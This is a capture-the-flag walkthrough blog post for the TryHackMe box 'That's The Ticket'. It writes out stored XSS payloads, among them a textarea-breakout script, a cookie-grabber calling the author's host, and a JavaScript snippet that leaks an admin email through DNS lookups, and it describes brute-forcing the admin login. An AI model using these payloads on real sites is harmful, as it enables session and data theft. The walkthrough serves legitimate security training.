That’s The Ticket TryHackMe walkthrough

Introduction

Musyoka Ian
8 min readJun 12, 2021

Hello guy back again with another walkthrough on the box That’s The Ticket from TryHackMe. A really nice box that teaches the importance of understand the ins and out of how a vulnerability can be exploited and not only using payloads and not understanding how exactly the vulnerability occurred and why exactly the payload used works. We’ll go into a bit of javascript coding nothing too complex and then later on create a python login page brute forcer script. It was a really amazing box and without much say let’s jump in.

As always we are going to start with performing a port scan of the box. You might ask why i prefer doing a port scan even when the challenge looks totally like a web challenge the answer is i always like having all my cards in the table. Having the full picture makes me understand the target more and might even provide some unintentional methods of solving the box which are my favorites.

Looking at the results from nmap we see that there are two ports that are open on the box

  1. SSH (Secure Shell)
  2. HTTP (Hyper Text Transfer Protocol)(Website)

Secure Shell always requires credentials and we have just started enumerating the box we don’t even have a potential username for the box. So we shall keep that on the back of our mind and start by enumerating HTTP.

On opening the webpage we get a standard webpage.

A ticket manager where we can resister with an email and submit tickets to the IT team. So i registered using the credentials

Email: test@test.com
Password: tester

And was automatically logged into the application. Also i was assigned a session token that was md5 encrypted

Sweet. Since there was a login page i intercepted the login request using burpsuite and sent it to SQLMAP. It is always good to have some background enumeration since they run by themselves and if you get stuck you might go back and take a look at the results

The challenge says that there are also some strict firewall used in the web application i used wafw00f to test but got nothing. I might be using the tool wrong but the results i got indicated that there wasn’t any firewall in the web application

Next i ran gobuster. Gobuster is a Directory/file & DNS busting tool written in Go it’s a tool used to brute-force URIs including directories and files as well as DNS subdomains.

Lastly i ran nikto scan. Nikto is a basic web based vulnerability scanner

Now that all background enumeration was running i decided to enumerate the application manually since sometimes these applications do miss have false negatives.

Looking at the web application is allows us to submit tickets to IT department inform of messages. decided to send all the special character to the web application

After creating the ticket we see that the tickets was submitted successfully

Pressing ctrl + u to see any HTML filters implemented on the source code wee that there is none.

User input is not HTML entity encoded and this may lead to cross site scripting (XSS). In a web application where a user’s input is reflected i always try to test for either PHP code injection or cross site scripting and I’ve been lucky in more times that one.

Now we know that the page is cross site scriptable how about we test if we can input some HTML tahs

I tried with basic <h1> TAG and you might ask why?

Some times the web application perform a filter for dangerous keywords like either

  • 1. script
  • 2. Iframe
  • 3. etc

That why i start with the most basic of test. If i start with some complex payload and it fails to work i might assume that the parameter wasn’t vulnerable and in the end it might have been

I tried to input :

<h1> HELLO </h1>

In the message field and see if it could be interpreted as a header text by the web application

And looking at the message it wasn’t interpreted as a header request by the web application

Looking at the source code of the web application we notice that our message is wrapped between textarea tags

What if we close the textarea tags before injecting our code into the web application

After submitting the message we see that it works the text was interpreted as a header since it much bigger that the rest of the messages being dispalyed

Sweet. Next we test if the script tag works since in cross site scripting inject malicious java script into our victims webpage(in our case the IT team). I started by just testing the simple alert XSS payload

</textarea><script>alert(1)</script>

And looking at the screenshot below it works perfectly

Now we have a working cross site scripting payload. Next i tried leaking my own cookie by sending a HTTP request to my server using the payload

</textarea><script src="http://10.8.2.58:8000/xxs/grabber.php?c=" + document.cookie></script>

Next i did set up a netcat listener to act as a server on my box

And then created the ticket going back to my box i had a connect but it had no cookie flags.

Meaning we can not leak the IT supports cookie. This could have allowed us to bypass authentication by logging into the server with their cookie which had already been validated.

But that was a dead end. Next i used Mozilla console to create a payload that would just perform a regex search for an email address in the web applications main page

Now i used an alert statement to see if i could extract the email from the page

Looking at the screenshot below we see that it works perfectly

Next i created a java script payload that did all this and send me the email through

Send the request and waiting for a callback but recieved none.

TryHackMe had offered a HTTP & DNS Logging too which was running on

http://10.10.10.100/

So i created a unique session and added to my JavaScript code. Since we can control over the TLD in our case we have access to all communications to it subdomains

Saved the request and sent it as a ticket

Doing to my DNS Logging too we had a callback and looking at the request it reveals the email of the IT support team through not the whole email since we only have the domain name used.

After much debugging i found the @ sign was causing the problem i added a JavaScript code that replaced the @ sign with -at-

</textarea><script>
var email = (document.getElementById('email').innerHTML).replace("@","-at-");
var my_address = "f21ef7566d07d3ede1b31c42fea73b9a.log.tryhackme.tech";
var request = new XMLHttpRequest();
request.open("GET","http://" + email + "-musyoka-" + my_address, false);
request.send();
</script>

Then again sent a new ticket

Going back to my DNS logger i had a callback and this time we got the whole email address

Sweet!!!. I tried to leak the cookies but it failed and ended up creating a python brute forcer

You can use burpsuite for brute force or even use hydra but since i really love coding i decided to create my very own brute forcer. We already have the email of the IP support team if by any chance the team is using a weak password we could be lucky and use brute force to get the password

The source code for the bruteforcer was as seen below

After running the script is got the password to be 123123

Trying to log into the admin account it work and we get that ticket ID 1 has the flag

And the challenge is done. I hope you learnt some thing. The reasons why we didn’t use HTTP request is because the web application has a CORS configuration to

--

--